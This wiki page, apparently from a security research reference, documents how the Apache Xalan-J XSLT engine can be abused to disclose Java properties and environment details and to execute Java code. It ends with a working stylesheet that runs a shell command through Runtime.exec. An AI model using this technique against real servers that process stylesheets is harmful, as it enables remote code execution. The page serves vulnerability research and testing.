Wiki source code of Engine_XalanJ

Version 36.1 by Nicolas Gregoire on 2012/01/11 23:22
Show last authors
1 [[Xalan-J>>http://xml.apache.org/xalan-j/||rel="__blank" title="Xalan-J Home Page"]] is a Java based XSLT engine by the Apache Project.
2
3
4 == Supported version ==
5
6 1.0
7
8 == Command line ==
9
10 $> java org.apache.xalan.xslt.Process -in foo.xml -xsl foo.xsl
11
12 __Note__ : xml-apis.jar, xercesImpl.jar and xalan*.jar must be in the $CLASSPATH
13
14 == Identification strings ==
15
16 |=xsl:vendor-url|http:~/~/xml.apache.org/xalan-j
17 |=xsl:vendor|Apache Software Foundation
18 |=xsl:version|1.0
19
20 == Special features ==
21
22 * File creation
23 * Code execution
24 * JDBC connectivity
25 * Java properties disclosure
26 * Java environment disclosure
27
28 == Java properties disclosure ==
29
30 The xsl:system-property() standard function can be called with non standard arguments, mapped to Java properties.
31
32 |=Namespace|=Extension function|=PoC|=Sample output
33 |http:~/~/xml.apache.org/xalan|checkEnvironment()|[[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]]|[[xalanj-checkenv-output.txt>>attach:xalanj-checkenv-output.txt]]
34
35 == Java environment disclosure ==
36
37 The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (packages, paths, versions, ...).
38
39 |=Namespace|=Extension function|=PoC|=Sample output
40 |http:~/~/xml.apache.org/xalan|checkEnvironment()|[[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]]|[[xalanj-checkenv-output.txt>>attach:xalanj-checkenv-output.txt]]
41
42 == Java code execution ==
43
44 The attached code will display the current date using a newly created "java.util.Date" object. This should be enough to demonstrate Java code execution.
45
46
47 |=Namespace|=Extension function|=PoC|=Sample output
48 |http:~/~/xml.apache.org/xalan/java/java.util.Date|new()|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date:
49 Wed Jan 11 22:45:07 CET 2012
50
51 == Execution of external commands ==
52
53 The following code will execute the command "touch /tmp/hello" :
54
55 <?xml version="1.0"?>
56 <xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
57 xmlns:j="http:~/~/xml.apache.org/xalan/java"
58 exclude-result-prefixes="j"
59 version="1.0">
60 <xsl:template match="/">
61 <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
62 <xsl:variable name="a" select="j:split($c, ' = ')"/>
63 <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
64 <xsl:variable name="p" select="j:exec($r, $a )"/>
65 No content at the moment ...
66 </xsl:template>
67 </xsl:stylesheet>